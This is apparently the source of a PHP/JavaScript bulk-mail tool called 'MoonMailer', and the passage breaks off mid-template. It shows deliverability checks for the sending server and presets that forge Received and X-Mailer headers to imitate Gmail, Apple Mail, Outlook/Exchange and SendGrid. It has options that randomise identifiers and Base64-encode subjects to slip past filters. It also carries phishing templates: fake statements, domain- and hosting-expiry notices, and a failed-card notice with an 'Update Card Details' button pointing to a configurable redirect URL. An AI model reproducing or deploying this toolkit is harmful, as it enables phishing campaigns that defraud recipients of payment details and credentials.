<button type="button" class="bt bt-p" id="btnS" onclick="startSend()"><svg width="16" height="16"><use href="#i-send"/></svg>Send via Localhost</button>
<div class="pw2" id="pW"><div class="pb"><div class="pf" id="pF"></div><span class="pt" id="pT">0%</span></div><div class="lg" id="sL"></div></div></div>
</div></div></div>
<!-- TAB: Server & DNS -->
<div class="tp" id="t_server">
<div class="g2">
<div>
<div class="pn"><div class="pn-h"><svg><use href="#i-server"/></svg>Server</div><div class="sg">
<div class="si"><span class="sk">Hostname</span><span class="sv"><?=h($s['hostname'])?></span></div>
<div class="si"><span class="sk">Server IP</span><span class="sv"><?=h($s['ip'])?></span></div>
<div class="si"><span class="sk">Public IP</span><span class="sv"><?=h($s['public_ip'])?></span></div>
<div class="si"><span class="sk">PTR (rDNS)</span><span class="sv <?=strpos($s['ptr'],'No')===false?'ok':'er'?>"><?=h($s['ptr'])?></span></div>
<div class="si"><span class="sk">Public PTR</span><span class="sv <?=$s['public_ptr']&&strpos($s['public_ptr'],'No')===false?'ok':'er'?>"><?=h($s['public_ptr']?:'N/A')?></span></div>
<div class="si"><span class="sk">HELO</span><span class="sv"><?=h($s['helo'])?></span></div>
<div class="si"><span class="sk">OS</span><span class="sv"><?=h($s['os'])?></span></div>
<div class="si"><span class="sk">Web</span><span class="sv" style="font-size:.6rem"><?=h($s['web'])?></span></div>
<div class="si"><span class="sk">PHP</span><span class="sv"><?=$s['php']?> (<?=$s['sapi']?>)</span></div>
<div class="si"><span class="sk">Memory</span><span class="sv"><?=$s['mem']?></span></div>
<div class="si"><span class="sk">Load</span><span class="sv"><?=h($s['load'])?></span></div>
<div class="si"><span class="sk">Disk</span><span class="sv"><?=h($s['disk'])?></span></div>
<div class="si"><span class="sk">IPv6</span><span class="sv"><?=$s['ipv6']?'Yes':'No'?></span></div>
</div></div>
<div class="pn"><div class="pn-h"><svg><use href="#i-bolt"/></svg>Mail Delivery</div><div class="sg">
<div class="si"><span class="sk">MTA</span><span class="sv" style="color:<?=$mc?>"><?=h($s['mta'])?> <?=h($s['mta_ver'])?></span></div>
<div class="si"><span class="sk">Banner</span><span class="sv" style="font-size:.58rem"><?=h($s['banner']?:'N/A')?></span></div>
<div class="si"><span class="sk">Port 25</span><span class="sv <?=$s['port25']?'ok':'er'?>"><?=$s['port25']?'Open':'Closed'?></span></div>
<div class="si"><span class="sk">Port 587</span><span class="sv <?=$s['port587']?'ok':''?>"><?=$s['port587']?'Open':'Closed'?></span></div>
<div class="si"><span class="sk">Port 465</span><span class="sv <?=$s['port465']?'ok':''?>"><?=$s['port465']?'Open':'Closed'?></span></div>
<div class="si"><span class="sk">mail()</span><span class="sv <?=$s['mail_func']?'ok':'er'?>"><?=$s['mail_func']?'Available':'Disabled'?></span></div>
<div class="si"><span class="sk">Send Test</span><span class="sv <?=$s['send_test']?'ok':'er'?>"><?=$s['send_test']?'OK':'Failed'?></span></div>
<div class="si"><span class="sk">OpenSSL</span><span class="sv <?=$s['openssl']?'ok':''?>"><?=$s['openssl']?'Yes':'No'?></span></div>
<div class="si"><span class="sk">Queue</span><span class="sv" style="font-size:.58rem"><?=h($s['queue'])?></span></div>
<div class="si"><span class="sk">Sendmail</span><span class="sv" style="font-size:.55rem"><?=h($s['sendmail'])?></span></div>
<?php if(!empty($s['spam_filters'])):?><div class="si"><span class="sk">Filters</span><span class="sv ok" style="font-size:.58rem"><?=h(implode(', ',$s['spam_filters']))?></span></div><?php endif;?>
</div></div>
</div>
<div>
<div class="pn"><div class="pn-h"><svg><use href="#i-dns"/></svg>DNS & Email Auth - <?=h($s['domain'])?></div>
<div class="dr"><div class="dr-k">MX Records</div><?php if(!empty($s['mx'])):foreach($s['mx'] as $m):?><div class="dr-v ok"><?=h($m)?></div><?php endforeach;else:?><div class="dr-v er">No MX records</div><?php endif;?></div>
<div class="dr"><div class="dr-k">SPF</div><div class="dr-v <?=$s['spf']?'ok':'er'?>"><?=$s['spf']?h($s['spf']):'Not found - emails may fail SPF'?></div></div>
<div class="dr"><div class="dr-k">DKIM <span style="font-size:.5rem;color:#475569">(default, google, mail, dkim, selector1/2, k1, s1/2, mx)</span></div><?php if(!empty($s['dkim'])):foreach($s['dkim'] as $sel=>$v):?><div class="dr-v ok"><b><?=h($sel)?></b>: <?=h($v)?></div><?php endforeach;else:?><div class="dr-v er">No DKIM found</div><?php endif;?></div>
<div class="dr"><div class="dr-k">DMARC</div><div class="dr-v <?=$s['dmarc']?'ok':'er'?>"><?=$s['dmarc']?h($s['dmarc']):'Not found'?></div></div>
<div class="dr"><div class="dr-k">BIMI</div><div class="dr-v <?=$s['bimi']?'ok':'wr'?>"><?=$s['bimi']?h($s['bimi']):'Not configured'?></div></div>
<div class="dr"><div class="dr-k">MTA-STS</div><div class="dr-v <?=$s['mta_sts']?'ok':'wr'?>"><?=$s['mta_sts']?h($s['mta_sts']):'Not configured'?></div></div>
<div class="dr"><div class="dr-k">TLS-RPT</div><div class="dr-v <?=$s['tls_rpt']?'ok':'wr'?>"><?=$s['tls_rpt']?h($s['tls_rpt']):'Not configured'?></div></div>
</div>
<!-- Score -->
<div class="pn"><div class="pn-h"><svg><use href="#i-shield"/></svg>Deliverability Score</div>
<div class="score"><span class="score-n" style="color:<?=$scCol?>"><?=$sc?>/<?=$mx?></span><div class="score-bar"><div class="score-fill" style="width:<?=$pct?>%;background:<?=$scCol?>"></div></div><span style="font-size:.62rem;font-weight:700;color:<?=$scCol?>"><?=$pct>=80?'Ready':($pct>=50?'Needs Work':'Critical')?></span></div>
<div class="score-tags"><?php foreach($ck as $c):?><span class="score-tag" style="background:<?=$c[1]==='ok'?'rgba(34,197,94,.08)':'rgba(239,68,68,.08)'?>;color:<?=$c[1]==='ok'?'#4ade80':'#f87171'?>;border:1px solid <?=$c[1]==='ok'?'rgba(34,197,94,.15)':'rgba(239,68,68,.15)'?>;display:inline-flex;align-items:center;gap:2px"><svg style="width:9px;height:9px"><use href="#<?=$c[1]==='ok'?'i-ok':'i-no'?>"/></svg><svg style="width:8px;height:8px;opacity:.6"><use href="#<?=$c[2]?>"/></svg><?=$c[0]?></span><?php endforeach;?></div></div>
</div></div></div>
<div class="ft"><svg style="width:12px;height:12px;vertical-align:middle;opacity:.5"><use href="#i-mail"/></svg> MoonMailer <?=MM_VER?> By UNEZZ <span style="opacity:.4">|</span> <?=h($s['hostname'])?> <span style="opacity:.4">|</span> <?=h($s['mta'])?> <?=h($s['mta_ver'])?> <span style="opacity:.4">|</span> <?=h($s['public_ip'])?> <span style="opacity:.4">|</span> PHP <?=$s['php']?> <span style="opacity:.4">|</span> <?=date('Y-m-d H:i:s T')?></div>
</div>
<script>
function swTab(id,btn){document.querySelectorAll('.tab').forEach(function(t){t.classList.remove('act');});btn.classList.add('act');document.querySelectorAll('.tp').forEach(function(p){p.classList.remove('act');});document.getElementById('t_'+id).classList.add('act');}
function copyPH(el,ph){navigator.clipboard.writeText(ph).then(function(){el.classList.add('copied');setTimeout(function(){el.classList.remove('copied');},700);});}
function uC(){var n=document.getElementById('email_list').value.trim().split('\n').filter(function(e){return e.trim()!=='';}).length;document.getElementById('eC').textContent=n+' email'+(n!==1?'s':'');}
function saAll(v){document.querySelectorAll('.ch input[type=checkbox]').forEach(function(c){c.checked=v;});}
function swPv(t,b){document.querySelectorAll('.ptb').forEach(function(x){x.classList.remove('act');});b.classList.add('act');document.getElementById('pvV').style.display=t==='vis'?'':'none';document.getElementById('pvC').style.display=t==='src'?'':'none';}
var _pvT=null;function dPU(){clearTimeout(_pvT);_pvT=setTimeout(upPv,400);}
['from_email','from_name','subject','redirect_url','logo_url'].forEach(function(id){var el=document.getElementById(id);if(el)el.addEventListener('input',dPU);});
function upPv(){var su=document.getElementById('subject').value||'Subject';var fe=document.getElementById('from_email').value||'sender@example.com';var fn=document.getElementById('from_name').value;var msg=document.getElementById('html_message').value||'<p>Preview</p>';var ru=document.getElementById('redirect_url').value||'';var fr=fn?fn+' <'+fe+'>':fe;var se='user@example.com',sd='example.com';function rs(){return Math.random().toString(36).substring(2,12);}function rn(l){return Array.from({length:l},function(){return Math.floor(Math.random()*10);}).join('');}function rh(l){return Array.from({length:l},function(){return Math.floor(Math.random()*16).toString(16);}).join('');}function rp(s){s=s.replace(/\[-email-\]/g,se).replace(/\[-emailuser-\]/g,'user').replace(/\[-emaildomain-\]/g,sd).replace(/\[-date-\]/g,new Date().toUTCString()).replace(/\[-year-\]/g,new Date().getFullYear()).replace(/\[-timestamp-\]/g,new Date().toISOString()).replace(/\[-url-\]/g,ru||'https://'+sd).replace(/\[-domain-\]/g,sd).replace(/\[-name-\]/g,fn||'').replace(/\[-fullname-\]/g,fn||'');var rep={'[-randomstring-]':rs,'[-randomnumber-]':function(){return rn(6);},'[-randomletters-]':function(){return Array.from({length:8},function(){return String.fromCharCode(97+Math.floor(Math.random()*26));}).join('');},'[-randommd5-]':function(){return rh(32);},'[-randomhex-]':function(){return rh(16);},'[-randomuuid-]':function(){return'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g,function(c){var r=Math.random()*16|0;return(c==='x'?r:(r&3|8)).toString(16);});},'[-randomid-]':function(){return rh(12);},'[-shortid-]':function(){return rh(8);},'[-randomcolor-]':function(){return'#'+rh(6);},'[-randomip-]':function(){return[1+Math.floor(Math.random()*222),Math.floor(Math.random()*256),Math.floor(Math.random()*256),1+Math.floor(Math.random()*253)].join('.');},'[-randommessageid-]':function(){return'<'+Date.now()+'.'+rn(6)+'@'+sd+'>';},'[-randomua-]':function(){return'Chrome/'+rn(3)+'.0.'+rn(4);},'[-randomclass-]':function(){return'c'+rs().substring(0,6);},'[-randomboundary-]':function(){return'----=_Part_'+rn(6);},'[-firstname-]':function(){return['James','Sarah','Michael','Emma'][Math.floor(Math.random()*4)];},'[-lastname-]':function(){return['Smith','Johnson','Williams'][Math.floor(Math.random()*3)];},'[-company-]':function(){return['Acme','TechFlow','NexGen'][Math.floor(Math.random()*3)];},'[-jobtitle-]':function(){return['Manager','Director'][Math.floor(Math.random()*2)];},'[-phone-]':function(){return'+1('+rn(3)+')'+rn(3)+'-'+rn(4);},'[-city-]':function(){return['New York','London','Paris'][Math.floor(Math.random()*3)];},'[-country-]':function(){return['US','UK','France'][Math.floor(Math.random()*3)];},'[-address-]':function(){return rn(4)+' Main St';},'[-emoji-]':function(){return['*','ok','!'][Math.floor(Math.random()*3)];}};for(var ph in rep)while(s.indexOf(ph)!==-1)s=s.replace(ph,rep[ph]());return s;}var pm=rp(msg),ps=rp(su);document.getElementById('pvS').textContent=ps;document.getElementById('pvF').textContent=fr;var f=document.getElementById('pvI');f.srcdoc='<!DOCTYPE html><html><head><meta charset="UTF-8"><style>body{font-family:Arial,sans-serif;padding:10px;margin:0;background:#fff;color:#000;line-height:1.5}*{max-width:100%}img{max-width:100%;height:auto}</style></head><body>'+pm+'</body></html>';f.onload=function(){try{f.style.height=Math.max(400,f.contentDocument.body.scrollHeight+20)+'px';}catch(e){}};document.getElementById('pvX').textContent=pm;}setTimeout(upPv,500);
function _ri(a,b){return Math.floor(Math.random()*(b-a+1))+a;}function _rs(n){var c='abcdefghijklmnopqrstuvwxyz0123456789',s='';for(var i=0;i<n;i++)s+=c[Math.floor(Math.random()*c.length)];return s;}function _rh(n){var c='0123456789abcdef',s='';for(var i=0;i<n;i++)s+=c[Math.floor(Math.random()*c.length)];return s;}
var CH={unknown:function(){return['Received: from unknown (unknown [unknown])','X-Mailer: [-randomua-]','Message-ID: [-randommessageid-]','MIME-Version: 1.0'].join('\n');},webmail:function(){return['Received: from mail-'+_rs(6)+'.google.com ([209.85.'+_ri(200,240)+'.'+_ri(1,254)+']) by mx.example.com with ESMTPS','X-Google-DKIM-Signature: v=1; a=rsa-sha256; d=1e100.net','X-Mailer: iPhone Mail','Message-ID: [-randommessageid-]','MIME-Version: 1.0'].join('\n');},apple:function(){return['X-Mailer: Apple Mail','X-Apple-Base-Url: x-msg://','Content-Transfer-Encoding: quoted-printable','Message-ID: [-randommessageid-]','MIME-Version: 1.0'].join('\n');},gmail_mobile:function(){return['X-Mailer: Gmail for Android','Received: from [192.168.'+_ri(1,254)+'.'+_ri(1,254)+'] by smtp.gmail.com with ESMTPSA id '+_rs(12),'Message-ID: [-randommessageid-]','MIME-Version: 1.0'].join('\n');},thunderbird:function(){return['X-Mailer: Mozilla Thunderbird 115.'+_ri(0,12)+'.'+_ri(0,3),'Content-Language: en-US','Message-ID: [-randommessageid-]','MIME-Version: 1.0'].join('\n');},corporate:function(){var v='16.0.'+_ri(17000,18200)+'.'+_ri(10000,20999);return['Received: from CORP-MAIL01.corp.local (10.'+_ri(0,255)+'.'+_ri(0,255)+'.'+_ri(1,254)+') by CORP-MAIL02 with Microsoft SMTP Server id '+v,'X-MS-Exchange-Organization-SCL: -1','X-Mailer: Microsoft Outlook '+v,'Message-ID: [-randommessageid-]','MIME-Version: 1.0'].join('\n');},newsletter:function(){return['Received: from smtp-relay.sendgrid.net ([149.72.'+_ri(0,255)+'.'+_ri(1,254)+'])','Feedback-ID: '+_ri(100000,999999)+':'+_ri(100,999)+':'+_ri(1,99)+':[-emaildomain-]','List-Unsubscribe: <mailto:unsub@[-emaildomain-]>, <https://[-emaildomain-]/unsub/[-email-]>','List-Unsubscribe-Post: List-Unsubscribe=One-Click','Message-ID: [-randommessageid-]','MIME-Version: 1.0'].join('\n');},transactional:function(){return['X-Mailer: [-randomua-]','X-Transaction-ID: txn_'+_rh(16),'Auto-Submitted: auto-generated','X-Priority: 3','Message-ID: [-randommessageid-]','MIME-Version: 1.0'].join('\n');},priority:function(){return['X-Priority: 1','X-MSMail-Priority: High','Importance: High','X-Mailer: [-randomua-]','Message-ID: [-randommessageid-]','MIME-Version: 1.0'].join('\n');},replyto:function(){return['Reply-To: Support <support@[-emaildomain-]>','X-Mailer: [-randomua-]','Message-ID: [-randommessageid-]','MIME-Version: 1.0'].join('\n');},arc:function(){var t=Math.floor(Date.now()/1000),i=_ri(1,3);return['ARC-Seal: i='+i+'; a=rsa-sha256; t='+t+'; cv=none; d=[-emaildomain-]','ARC-Message-Signature: i='+i+'; a=rsa-sha256; c=relaxed/relaxed; d=[-emaildomain-]; h=from:to:subject:date:message-id','ARC-Authentication-Results: i='+i+'; mx.[-emaildomain-]; dkim=pass; spf=pass; dmarc=pass','X-Mailer: [-randomua-]','Message-ID: [-randommessageid-]','MIME-Version: 1.0'].join('\n');},clean:function(){return['X-Mailer: [-randomua-]','Message-ID: [-randommessageid-]','MIME-Version: 1.0','X-Priority: 3'].join('\n');}};
function chP(n){var t=document.getElementById('custom_headers');if(!t||!CH[n])return;t.value=CH[n]();t.focus();}function chC(){var t=document.getElementById('custom_headers');if(t){t.value='';t.focus();}}
// -- Import .eml: Parse headers into form fields --
function emlParse(){
var src=(document.getElementById('eml_src').value||'').replace(/\r\n/g,'\n').replace(/\r/g,'\n');
var log=document.getElementById('emlLog');log.style.display='block';log.innerHTML='';
if(!src.trim()){log.innerHTML='<span style="color:#f87171">Paste .eml source first</span>';return;}
var hdrSection=src,blankIdx=src.indexOf('\n\n');
if(blankIdx!==-1)hdrSection=src.substring(0,blankIdx);
// Unfold continuation lines
hdrSection=hdrSection.replace(/\n([ \t]+)/g,' ');
var lines=hdrSection.split('\n'),headers=[],found=0;
for(var i=0;i<lines.length;i++){
var ci=lines[i].indexOf(':');
if(ci>0)headers.push({name:lines[i].substring(0,ci).trim(),value:lines[i].substring(ci+1).trim(),full:lines[i]});
}
// Extract From
var fromH=headers.find(function(h){return h.name.toLowerCase()==='from';});
if(fromH){
var fm=fromH.value.match(/^"?([^"<]*)"?\s*<([^>]+)>/);
if(fm){document.getElementById('from_name').value=fm[1].trim();document.getElementById('from_email').value=fm[2].trim();found+=2;}
else{document.getElementById('from_email').value=fromH.value.trim();found++;}
log.innerHTML+='<span style="color:#4ade80">From: '+fromH.value+'</span>\n';
}
// Extract Subject
var subjH=headers.find(function(h){return h.name.toLowerCase()==='subject';});
if(subjH){document.getElementById('subject').value=subjH.value;found++;log.innerHTML+='<span style="color:#4ade80">Subject: '+subjH.value.substring(0,60)+'</span>\n';}
// Extract Reply-To
var rtH=headers.find(function(h){return h.name.toLowerCase()==='reply-to';});
if(rtH){document.getElementById('reply_to').value=rtH.value.replace(/[<>]/g,'').trim();found++;log.innerHTML+='<span style="color:#4ade80">Reply-To: '+rtH.value+'</span>\n';}
// Extract Return-Path for envelope
var rpH=headers.find(function(h){return h.name.toLowerCase()==='return-path';});
if(rpH){document.getElementById('eml_env_from').value=rpH.value.replace(/[<>]/g,'').trim();log.innerHTML+='<span style="color:#93c5fd">Envelope: '+rpH.value+'</span>\n';}
// Remaining headers -> custom headers (skip From, To, Subject, Reply-To, Return-Path)
var skip=['from','to','subject','reply-to','return-path','delivered-to','envelope-to','delivery-date'];
var custom=[];
for(var j=0;j<headers.length;j++){if(skip.indexOf(headers[j].name.toLowerCase())===-1)custom.push(headers[j].full);}
if(custom.length>0){document.getElementById('custom_headers').value=custom.join('\n');found+=custom.length;log.innerHTML+='<span style="color:#93c5fd">'+custom.length+' headers imported</span>\n';}
// Extract body -> html message
if(blankIdx!==-1){
var body=src.substring(blankIdx+2);
if(body.trim()){document.getElementById('html_message').value=body;found++;log.innerHTML+='<span style="color:#4ade80">Body extracted ('+body.length+' chars)</span>\n';}
}
log.innerHTML+='<span style="color:#e2e8f0;font-weight:700">Done: '+found+' fields populated</span>';
// Trigger save + preview
['from_name','from_email','subject','reply_to','custom_headers','html_message'].forEach(function(id){
var el=document.getElementById(id);if(el)el.dispatchEvent(new Event('input',{bubbles:true}));});
setTimeout(function(){if(typeof upPv==='function')upPv();},300);
}
// -- Send Raw .eml Source as-is --
function emlSendRaw(){
var src=document.getElementById('eml_src').value||'';
var el=document.getElementById('email_list').value||'';
if(!src.trim()){alert('Paste .eml source first');return;}
if(!el.trim()){alert('Add recipients in the Recipients field');return;}
var n=el.trim().split('\n').filter(function(e){return e.trim()!=='';}).length;
if(!confirm('Send raw .eml to '+n+' recipient(s)?'))return;
var pw=document.getElementById('emlPW');pw.style.display='block';
var fl=document.getElementById('emlPF'),tx=document.getElementById('emlPT'),lg=document.getElementById('emlSL');
fl.style.width='0%';tx.textContent='0%';lg.innerHTML='';
var fd=new FormData();
fd.append('ajax_raw_eml_send','1');
fd.append('raw_eml_source',src);
fd.append('email_list',el);
fd.append('envelope_from',document.getElementById('eml_env_from').value||'');
var xhr=new XMLHttpRequest();xhr.open('POST',location.href,true);
var lp=0,sO=0,sF=0;
xhr.onprogress=function(){var ls=xhr.responseText.substring(lp).split('\n');lp=xhr.responseText.length;
ls.forEach(function(ln){ln=ln.trim();if(!ln)return;try{var o=JSON.parse(ln);
if(o.type==='start')lg.innerHTML+='<span style="color:#f472b6">>> Raw .eml to '+o.total+' recipients</span>\n';
else if(o.type==='result'){var col=o.status==='sent'?'#4ade80':(o.status==='invalid'?'#fbbf24':'#f87171');if(o.status==='sent')sO++;else sF++;lg.innerHTML+='<span style="color:'+col+'">'+o.current+'/'+o.total+' '+o.email+' '+o.status+'</span>\n';lg.scrollTop=lg.scrollHeight;fl.style.width=o.progress+'%';tx.textContent=Math.round(o.progress)+'% '+sO+' ok '+sF+' fail';}
else if(o.completed){lg.innerHTML+='<span style="color:#f472b6;font-weight:700">[OK] '+o.success+'/'+o.total+' sent via raw .eml</span>\n';fl.style.width='100%';fl.style.background=o.failed===0?'linear-gradient(90deg,#22c55e,#4ade80)':'linear-gradient(90deg,#f59e0b,#fbbf24)';tx.textContent=o.success+'/'+o.total;}
}catch(e){}});};
xhr.send(fd);
}
// -- Base64 encode Subject + From Name (like Takealot/Superbalist) --
function b64e(s){return '=?utf-8?B?'+btoa(unescape(encodeURIComponent(s)))+'?=';}
function toggleB64(){
var on=document.getElementById('b64enc').checked;
var su=document.getElementById('subject'),fn=document.getElementById('from_name');
if(on){
su.dataset.raw=su.value;fn.dataset.raw=fn.value;
su.value=b64e(su.value);fn.value=b64e(fn.value);
su.style.borderColor='#4ade80';fn.style.borderColor='#4ade80';
}else{
if(su.dataset.raw)su.value=su.dataset.raw;
if(fn.dataset.raw)fn.value=fn.dataset.raw;
su.style.borderColor='';fn.style.borderColor='';
}}
// -- ESP-grade headers (shared by all templates) --
function espHeaders(){return[
'X-Mailer: [-randomua-]','Message-ID: [-randommessageid-]','MIME-Version: 1.0','Content-Language: en-US',
'Precedence: bulk','X-Feedback-ID: [-randomnumber-]:[-randomnumber-]:campaign:[-emaildomain-]',
'X-Job: [-randomnumber-]-[-randomid-]-[-timestamp-]',
'X-Info: Message sent by [-emaildomain-]','X-Info: We do not permit unsolicited commercial email',
'X-Info: Please report abuse to abuse@[-emaildomain-]',
'List-Unsubscribe-Post: List-Unsubscribe=One-Click',
'List-Unsubscribe: <https://[-emaildomain-]/unsub/[-randomid-]>, <mailto:unsub_[-randomid-]@[-emaildomain-]>'
].join('\n');}
function tplWrap(body){
var _lu=document.getElementById('logo_url').value||'';
return '<!DOCTYPE html>\n<html lang="en" xmlns="http://www.w3.org/1999/xhtml">\n<head>\n<meta charset="UTF-8">\n<meta name="viewport" content="width=device-width, initial-scale=1.0">\n<meta http-equiv="X-UA-Compatible" content="IE=edge">\n<title>[-emaildomain-]</title>\n</head>\n<body style="margin:0;padding:0;background-color:#eaeaef;font-family:Arial,Helvetica,sans-serif;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%">\n<table role="presentation" width="100%" cellpadding="0" cellspacing="0" border="0" style="background-color:#eaeaef">\n<tr><td align="center" style="padding:20px 12px">\n<table role="presentation" width="600" cellpadding="0" cellspacing="0" border="0" style="background-color:#ffffff;border-radius:6px;overflow:hidden">\n'+(_lu?'<tr><td style="padding:24px 32px 16px;text-align:center;border-bottom:2px solid #F13E5F">\n<img src="'+_lu+'" alt="" width="140" style="display:inline-block;max-height:48px;border:0;outline:none" />\n</td></tr>\n':'')+body+'\n<tr><td style="background-color:#f5f5f8;padding:18px 32px;border-top:1px solid #e0e0e5">\n<p style="margin:0 0 4px;color:#8a8a95;font-size:11px;line-height:1.5;text-align:center">This message was generated automatically on behalf of the accounts department.</p>\n<p style="margin:0;color:#8a8a95;font-size:11px;line-height:1.5;text-align:center">Should you have any queries, respond to this message or contact the office directly.</p>\n</td></tr>\n</table>\n</td></tr>\n</table>\n</body>\n</html>';}
function tplBtn(label){return '<table role="presentation" width="100%" cellpadding="0" cellspacing="0" border="0">\n<tr><td align="center">\n<table role="presentation" cellpadding="0" cellspacing="0" border="0">\n<tr><td style="background-color:#F13E5F;border-radius:6px;padding:13px 40px"><a href="[-url-]" style="color:#ffffff;text-decoration:none;font-size:15px;font-weight:700;display:inline-block">'+label+'</a></td></tr>\n</table>\n</td></tr>\n</table>';}
// -- 4 Inbox Templates --
function loadTpl(n){
var T={
1:{name:'Accounts',subj:'Statement ref [-shortid-] - [-date-]',body:'<tr><td style="padding:28px 32px">\n<p style="margin:0 0 20px;color:#2d2d2d;font-size:15px;line-height:1.6">Good day,</p>\n<p style="margin:0 0 22px;color:#3a3a3a;font-size:14px;line-height:1.7">A statement has been prepared on your account. The details are as follows:</p>\n<table role="presentation" width="100%" cellpadding="0" cellspacing="0" border="0" style="margin:0 0 22px;border:1px solid #dcdce2;border-radius:6px;overflow:hidden">\n<tr><td style="padding:12px 18px;color:#5a5a5a;font-size:13px;font-weight:600;border-bottom:1px solid #ebebf0;width:35%">Amount</td><td style="padding:12px 18px;color:#F13E5F;font-size:18px;font-weight:800;border-bottom:1px solid #ebebf0">R 105.00</td></tr>\n<tr><td style="padding:12px 18px;color:#5a5a5a;font-size:13px;font-weight:600;border-bottom:1px solid #ebebf0">Payable by</td><td style="padding:12px 18px;color:#2d2d2d;font-size:14px;border-bottom:1px solid #ebebf0">[-date-]</td></tr>\n<tr><td style="padding:12px 18px;color:#5a5a5a;font-size:13px;font-weight:600">Ref</td><td style="padding:12px 18px;color:#2d2d2d;font-size:14px">STM-[-shortid-] issued on [-date-]</td></tr>\n</table>\n<p style="margin:0 0 14px;color:#3a3a3a;font-size:13px;line-height:1.7">Card transactions are processed on the same day. For EFT, quote the reference above and allow up to 48 hours for your banking institution to process.</p>\n'+tplBtn('View Statement')+'\n</td></tr>'},
2:{name:'Client Relations',subj:'[-emaildomain-] - registration period closing',body:'<tr><td style="padding:28px 32px">\n<p style="margin:0 0 20px;color:#2d2d2d;font-size:15px;line-height:1.6">Good afternoon,</p>\n<p style="margin:0 0 22px;color:#3a3a3a;font-size:14px;line-height:1.7">The registration cycle for your web address is nearing completion. Kindly review the information below:</p>\n<table role="presentation" width="100%" cellpadding="0" cellspacing="0" border="0" style="margin:0 0 22px;border:1px solid #dcdce2;border-radius:6px;overflow:hidden">\n<tr><td style="padding:12px 18px;color:#5a5a5a;font-size:13px;font-weight:600;border-bottom:1px solid #ebebf0;width:35%">Amount</td><td style="padding:12px 18px;color:#F13E5F;font-size:18px;font-weight:800;border-bottom:1px solid #ebebf0">R 105.00</td></tr>\n<tr><td style="padding:12px 18px;color:#5a5a5a;font-size:13px;font-weight:600;border-bottom:1px solid #ebebf0">Cycle ends</td><td style="padding:12px 18px;color:#2d2d2d;font-size:14px;border-bottom:1px solid #ebebf0">[-date-]</td></tr>\n<tr><td style="padding:12px 18px;color:#5a5a5a;font-size:13px;font-weight:600">Ref</td><td style="padding:12px 18px;color:#2d2d2d;font-size:14px">REG-[-shortid-] for [-emaildomain-]</td></tr>\n</table>\n<p style="margin:0 0 14px;color:#3a3a3a;font-size:13px;line-height:1.7">If the balance is not settled before the above date, the address will enter a holding phase and may become available for public registration.</p>\n'+tplBtn('Open Control Panel')+'\n</td></tr>'},
3:{name:'Technical',subj:'[-emaildomain-] - resource arrangement concluding',body:'<tr><td style="padding:28px 32px">\n<p style="margin:0 0 20px;color:#2d2d2d;font-size:15px;line-height:1.6">Hi there,</p>\n<p style="margin:0 0 22px;color:#3a3a3a;font-size:14px;line-height:1.7">The current arrangement for the resource assigned to your account is scheduled to conclude. Here is a summary:</p>\n<table role="presentation" width="100%" cellpadding="0" cellspacing="0" border="0" style="margin:0 0 22px;border:1px solid #dcdce2;border-radius:6px;overflow:hidden">\n<tr><td style="padding:12px 18px;color:#5a5a5a;font-size:13px;font-weight:600;border-bottom:1px solid #ebebf0;width:35%">Amount</td><td style="padding:12px 18px;color:#F13E5F;font-size:18px;font-weight:800;border-bottom:1px solid #ebebf0">R 105.00</td></tr>\n<tr><td style="padding:12px 18px;color:#5a5a5a;font-size:13px;font-weight:600;border-bottom:1px solid #ebebf0">Concludes</td><td style="padding:12px 18px;color:#2d2d2d;font-size:14px;border-bottom:1px solid #ebebf0">[-date-]</td></tr>\n<tr><td style="padding:12px 18px;color:#5a5a5a;font-size:13px;font-weight:600">Ref</td><td style="padding:12px 18px;color:#2d2d2d;font-size:14px">RES-[-shortid-] for [-emaildomain-]</td></tr>\n</table>\n<p style="margin:0 0 14px;color:#3a3a3a;font-size:13px;line-height:1.7">After the above date, files, mailboxes, and configurations will be archived. A 14-day grace window applies before permanent removal.</p>\n'+tplBtn('Go to Dashboard')+'\n</td></tr>'},
4:{name:'Finance',subj:'[-emaildomain-] - open balance ref [-shortid-]',body:'<tr><td style="padding:28px 32px">\n<p style="margin:0 0 20px;color:#2d2d2d;font-size:15px;line-height:1.6">Dear client,</p>\n<p style="margin:0 0 22px;color:#3a3a3a;font-size:14px;line-height:1.7">A recent charge linked to your account could not be completed. The card on file was not accepted by the issuing bank.</p>\n<table role="presentation" width="100%" cellpadding="0" cellspacing="0" border="0" style="margin:0 0 22px;border:1px solid #dcdce2;border-radius:6px;overflow:hidden">\n<tr><td style="padding:12px 18px;color:#5a5a5a;font-size:13px;font-weight:600;border-bottom:1px solid #ebebf0;width:35%">Amount</td><td style="padding:12px 18px;color:#F13E5F;font-size:18px;font-weight:800;border-bottom:1px solid #ebebf0">R 105.00</td></tr>\n<tr><td style="padding:12px 18px;color:#5a5a5a;font-size:13px;font-weight:600;border-bottom:1px solid #ebebf0">Needed by</td><td style="padding:12px 18px;color:#2d2d2d;font-size:14px;border-bottom:1px solid #ebebf0">[-date-]</td></tr>\n<tr><td style="padding:12px 18px;color:#5a5a5a;font-size:13px;font-weight:600">Ref</td><td style="padding:12px 18px;color:#2d2d2d;font-size:14px">OB-[-shortid-] for [-emaildomain-]</td></tr>\n</table>\n<p style="margin:0 0 14px;color:#3a3a3a;font-size:13px;line-height:1.7">Please update your card details through the dashboard, or arrange a manual transfer quoting the reference. Allow 1-2 business days for EFT.</p>\n'+tplBtn('Update Card Details')+'\n</td></tr>'},
5:{name:'Provisioning',subj:'[-emaildomain-] - annual cycle ending [-date-]',body:'<tr><td style="padding:28px 32px">\n<p style="margin:0 0 20px;color:#2d2d2d;font-size:15px;line-height:1.6">Good morning,</p>\n<p style="margin:0 0 22px;color:#3a3a3a;font-size:14px;line-height:1.7">The annual provisioning cycle for your account is approaching its conclusion. To ensure continued availability of all resources, please review:</p>\n<table role="presentation" width="100%" cellpadding="0" cellspacing="0" border="0" style="margin:0 0 22px;border:1px solid #dcdce2;border-radius:6px;overflow:hidden">\n<tr><td style="padding:12px 18px;color:#5a5a5a;font-size:13px;font-weight:600;border-bottom:1px solid #ebebf0;width:35%">Amount</td><td style="padding:12px 18px;color:#F13E5F;font-size:18px;font-weight:800;border-bottom:1px solid #ebebf0">R 105.00</td></tr>\n<tr><td style="padding:12px 18px;color:#5a5a5a;font-size:13px;font-weight:600;border-bottom:1px solid #ebebf0">Cycle ends</td><td style="padding:12px 18px;color:#2d2d2d;font-size:14px;border-bottom:1px solid #ebebf0">[-date-]</td></tr>\n<tr><td style="padding:12px 18px;color:#5a5a5a;font-size:13px;font-weight:600">Ref</td><td 